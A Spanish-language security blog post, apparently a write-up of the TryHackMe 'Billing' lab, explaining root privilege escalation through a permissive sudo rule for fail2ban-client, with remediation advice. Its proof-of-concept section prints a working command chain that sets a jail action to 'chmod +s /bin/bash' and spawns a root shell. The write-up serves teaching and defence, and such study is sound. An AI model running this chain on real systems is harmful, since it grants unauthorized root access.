Escalada de privilegios con Fail2Ban-Client en Linux | RodrionCyber
Linux Security Dificultad: Media

Escalada de privilegios con Fail2Ban-Client en Linux

✍️ Hugo ⏱️ 12 min de lectura
Imagen destacada del artículo

Conocer las debilidades de un sistema es el primer paso para protegerlo. En este artículo analizamos cómo una configuración incorrecta de permisos en Fail2Ban-Client permite que cualquier usuario escale sus privilegios hasta obtener acceso de administrador (root) en un sistema Linux, todo ello sin conocer la contraseña de root.

Este análisis está basado en la fase de post-explotación de la máquina "Billing" de la plataforma TryHackMe.

⚠️ Finalidad educativa y responsable Este artículo tiene como objetivo que administradores y profesionales de seguridad puedan identificar y corregir esta vulnerabilidad antes de que sea explotada. Reproduzca estas técnicas únicamente en entornos controlados o con autorización expresa.
Pantalla inicial del análisis de escalada de privilegios con Fail2Ban en TryHackMe Billing
Entorno de análisis: máquina Billing de TryHackMe

1. ¿Qué es Fail2Ban y para qué sirve?

Fail2Ban es una herramienta de seguridad para sistemas Linux que protege contra ataques de fuerza bruta. Monitoriza los archivos de registro del sistema (logs de intentos de autenticación fallidos, por ejemplo) y bloquea automáticamente las direcciones IP que muestran comportamiento sospechoso, aplicando reglas de firewall.

Fail2Ban-Client es la interfaz de línea de comandos que permite al administrador del sistema interactuar con el servicio: consultar el estado, añadir reglas, configurar acciones y gestionar bloqueos.

Panel de ayuda del comando sudo fail2ban-client mostrando los parámetros disponibles
Panel de ayuda de Fail2Ban-Client. Los parámetros disponibles revelan la superficie de ataque.

2. Recopilación de información: ¿qué puede hacer nuestro usuario?

Verificar permisos sudo del usuario actual

Una vez dentro del sistema, el primer paso es ejecutar:

sudo -l
Resultado del comando sudo -l mostrando que fail2ban-client puede ejecutarse como root sin contraseña con cualquier usuario
El comando sudo -l revela que cualquier usuario puede ejecutar fail2ban-client como root sin contraseña.

El resultado revela una configuración crítica: cualquier usuario del sistema puede ejecutar /usr/bin/fail2ban-client con privilegios de root sin necesidad de contraseña. Esto es exactamente lo que necesitamos para la escalada.

Confirmar el tipo de archivo

file /usr/bin/fail2ban-client
Resultado del comando file mostrando que fail2ban-client es un script de Python
Fail2Ban-Client es un script Python, lo que confirma que su comportamiento es configurable.

3. Cómo funciona Fail2Ban por dentro

Fail2Ban organiza sus reglas en JAILs (cárceles). Cada jail monitoriza un servicio específico (SSH, Apache, Postfix…) y define:

  • Los archivos de log que vigila.
  • Los filtros que determinan qué eventos son sospechosos.
  • Las acciones a ejecutar cuando se cumple una condición (bloquear una IP, ejecutar un comando…).

La clave de la vulnerabilidad está en que las acciones pueden ejecutar comandos del sistema, y dado que el script corre como root, esos comandos también se ejecutan como root.

Parámetros clave para la explotación

  • status <JAIL> — Ver el estado de un jail.
  • set <JAIL> addaction <ACT> — Añadir una acción al jail.
  • set <JAIL> action <ACT> actionban <CMD> — Definir qué comando ejecutará la acción al banear.
  • set <JAIL> banip <IP> — Forzar el baneo de una IP (activa las acciones).
Detalle de los parámetros de Fail2Ban-Client: addaction, actionban y banip
Los parámetros addaction, actionban y banip son los que permiten la explotación.

4. Prueba de concepto (PoC): escalada a root paso a paso

1

Ver los jails activos: elegiremos el jail SSH (sshd) para crear nuestra acción maliciosa.

2

Comprobar estado del jail sshd para ver su configuración actual.

3

Añadir una acción llamada "test" al jail sshd.

4

Definir el comando malicioso para esa acción: añadir el bit SUID a /bin/bash.

5

Forzar un baneo para activar la acción y que se ejecute el comando.

6

Ejecutar bash con el flag -p para lanzar una shell con privilegios de root.

Comandos ejecutados

sudo /usr/bin/fail2ban-client status # → Muestra los jails disponibles. Usaremos: sshd sudo /usr/bin/fail2ban-client status sshd # → Estado actual del jail sshd sudo /usr/bin/fail2ban-client set sshd addaction test # → Añadimos la acción "test" al jail sshd sudo /usr/bin/fail2ban-client set sshd action test actionban "chmod +s /bin/bash" # → Cuando se banee una IP, se ejecutará "chmod +s /bin/bash" como root # → El bit SUID permite ejecutar bash con los privilegios del propietario (root) sudo /usr/bin/fail2ban-client get sshd action test actionban # → Verificamos que el comando está registrado correctamente sudo /usr/bin/fail2ban-client set sshd banip 1.2.3.4 # → Baneamos una IP ficticia para activar la acción ls -la /bin/bash # → Verificamos que /bin/bash ahora tiene el bit SUID activo (-rwsr-xr-x) /bin/bash -p # → Lanzamos una shell bash privilegiada → ¡somos root!
Resultado de fail2ban-client status mostrando el jail sshd disponible
Paso 1: listado de jails activos. Usaremos el jail sshd.
Ejecución del comando addaction para añadir la acción test al jail sshd
Paso 3: añadimos la acción maliciosa "test" al jail sshd.
Configuración del comando actionban chmod +s /bin/bash en la acción test
Paso 4: definimos el comando malicioso. Al banear una IP, se ejecutará como root.
Resultado de ls -la /bin/bash mostrando el bit SUID activo después del banip
Paso 5-6: /bin/bash ya tiene el bit SUID (-rwsr-xr-x). Ahora ejecutamos "/bin/bash -p".
Shell bash ejecutándose como root después de explotar la vulnerabilidad de Fail2Ban
Resultado final: shell de root obtenida sin conocer la contraseña de administrador.
🤔 ¿Por qué no funciona lanzar bash directamente desde actionban? Fail2Ban maneja las acciones para que afecten a archivos o procesos del sistema, no para iniciar shells interactivas. Además, el flag -p de bash preserva el UID efectivo (root) solo cuando hay un proceso padre con permisos suficientes. El método del bit SUID es el que realmente funciona en este contexto.
Prueba fallida al intentar ejecutar /bin/bash -p directamente desde el actionban de Fail2Ban
Intento alternativo: lanzar bash directamente desde actionban. No funciona por las limitaciones del proceso.

5. Cómo corregir la vulnerabilidad

🔐 Restringir permisos sudo

Editar /etc/sudoers con visudo y eliminar la regla que permite ejecutar fail2ban-client sin contraseña a todos los usuarios.

🔐 Asegurar el archivo

Ejecutar chown root:root /usr/bin/fail2ban-client y chmod 700 /usr/bin/fail2ban-client para que solo root pueda ejecutarlo.

📦 Principio de mínimo privilegio

Cada usuario solo debe tener los permisos estrictamente necesarios para su función. Los permisos excesivos son una de las principales causas de escalada de privilegios.

📊 Monitorización continua

Revisar periódicamente los permisos sudo activos con auditorías regulares. La monitorización de comportamiento anómalo puede detectar intentos de explotación.

Comando de corrección en sudoers

# Abrir el editor de sudoers de forma segura: sudo visudo # Buscar y ELIMINAR líneas como: ALL ALL=(ALL) NOPASSWD: /usr/bin/fail2ban-client # Si se necesita permitir solo al usuario administrador: admin ALL=(root) NOPASSWD: /usr/bin/fail2ban-client
Versión de Fail2Ban instalada en el sistema vulnerable
La vulnerabilidad no depende de la versión de Fail2Ban, sino de la configuración de permisos sudo del sistema.

Conclusión

Esta vulnerabilidad demuestra que los problemas de seguridad no siempre están en el software en sí, sino en cómo se configura. Fail2Ban es una herramienta legítima y útil; el problema es permitir que cualquier usuario la ejecute como root sin contraseña.

Aplicar el principio de mínimo privilegio, revisar los permisos sudo periódicamente y realizar pruebas de penetración regulares son las medidas más efectivas para prevenir este tipo de escaladas antes de que un atacante real las explote.